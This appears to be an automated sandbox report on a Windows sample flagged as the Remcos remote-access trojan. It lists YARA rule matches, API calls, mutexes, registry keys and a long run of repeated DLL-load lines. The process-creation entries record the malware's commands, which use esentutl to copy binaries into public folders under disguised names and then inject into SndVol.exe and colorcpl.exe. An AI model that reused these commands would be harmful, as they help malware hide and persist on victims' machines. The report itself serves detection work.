Source: 00000008.00000002.3862154789.0000000004420000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 00000008.00000002.3862154789.0000000004420000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 00000008.00000002.3877541973.0000000029130000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000008.00000002.3877541973.0000000029130000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 00000008.00000002.3877541973.0000000029130000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0000000F.00000002.1794055073.00000000077D0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 0000000F.00000002.1794055073.00000000077D0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 0000000F.00000002.1794055073.00000000077D0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: Process Memory Space: SndVol.exe PID: 7672, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: colorcpl.exe PID: 8136, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winEXE@18/8@14/3

Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_2914798D GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,	8_2_2914798D
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_0041798D GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,	15_2_0041798D
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_077E86AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,	15_2_077E86AA

Source: C:\Users\user\Desktop\jlPBMMQbXC.exe

Code function: 0_2_02C57FD4 GetDiskFreeSpaceA,

0_2_02C57FD4

Source: C:\Users\user\Desktop\jlPBMMQbXC.exe

Code function: 0_2_02C6AD98 CreateToolhelp32Snapshot,

0_2_02C6AD98

Source: C:\Users\user\Desktop\jlPBMMQbXC.exe

Code function: 0_2_02C66DC8 CoCreateInstance,

0_2_02C66DC8

Source: C:\Windows\SysWOW64\SndVol.exe

Code function: 8_2_2914B539 FindResourceA,LoadResource,LockResource,SizeofResource,

8_2_2914B539

Source: C:\Windows\SysWOW64\SndVol.exe

Code function: 8_2_2914AB9E OpenSCManagerW,OpenServiceW,CloseServiceHandle,ControlService,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,QueryServiceStatus,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

8_2_2914AB9E

Source: C:\Users\user\Desktop\jlPBMMQbXC.exe

File created: C:\Users\Public\Libraries\PNO

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7572:120:WilError_03
Source: C:\Windows\SysWOW64\SndVol.exe	Mutant created: \Sessions\1\BaseNamedObjects\Windows Volume App Window
Source: C:\Windows\SysWOW64\SndVol.exe	Mutant created: \Sessions\1\BaseNamedObjects\Resignation-X9RTX9
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7680:120:WilError_03

Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\Desktop\jlPBMMQbXC.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: jlPBMMQbXC.exe

ReversingLabs: Detection: 63%

Source: C:\Users\user\Desktop\jlPBMMQbXC.exe

File read: C:\Users\user\Desktop\jlPBMMQbXC.exe

Source: unknown	Process created: C:\Users\user\Desktop\jlPBMMQbXC.exe "C:\Users\user\Desktop\jlPBMMQbXC.exe"
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\hizbeleS.cmd" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl.exe /y C:\Users\user\Desktop\jlPBMMQbXC.exe /d C:\\Users\\Public\\Libraries\\Selebzih.PIF /o
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process created: C:\Windows\SysWOW64\SndVol.exe C:\Windows\System32\SndVol.exe
Source: C:\Windows\SysWOW64\esentutl.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\Public\Libraries\Selebzih.PIF "C:\Users\Public\Libraries\Selebzih.PIF"
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process created: C:\Windows\SysWOW64\SndVol.exe C:\Windows\System32\SndVol.exe
Source: unknown	Process created: C:\Users\Public\Libraries\Selebzih.PIF "C:\Users\Public\Libraries\Selebzih.PIF"
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process created: C:\Windows\SysWOW64\colorcpl.exe C:\Windows\System32\colorcpl.exe
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\hizbeleS.cmd" "	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl.exe /y C:\Users\user\Desktop\jlPBMMQbXC.exe /d C:\\Users\\Public\\Libraries\\Selebzih.PIF /o	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process created: C:\Windows\SysWOW64\SndVol.exe C:\Windows\System32\SndVol.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process created: C:\Windows\SysWOW64\SndVol.exe C:\Windows\System32\SndVol.exe	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process created: C:\Windows\SysWOW64\colorcpl.exe C:\Windows\System32\colorcpl.exe	Jump to behavior

Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: url.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
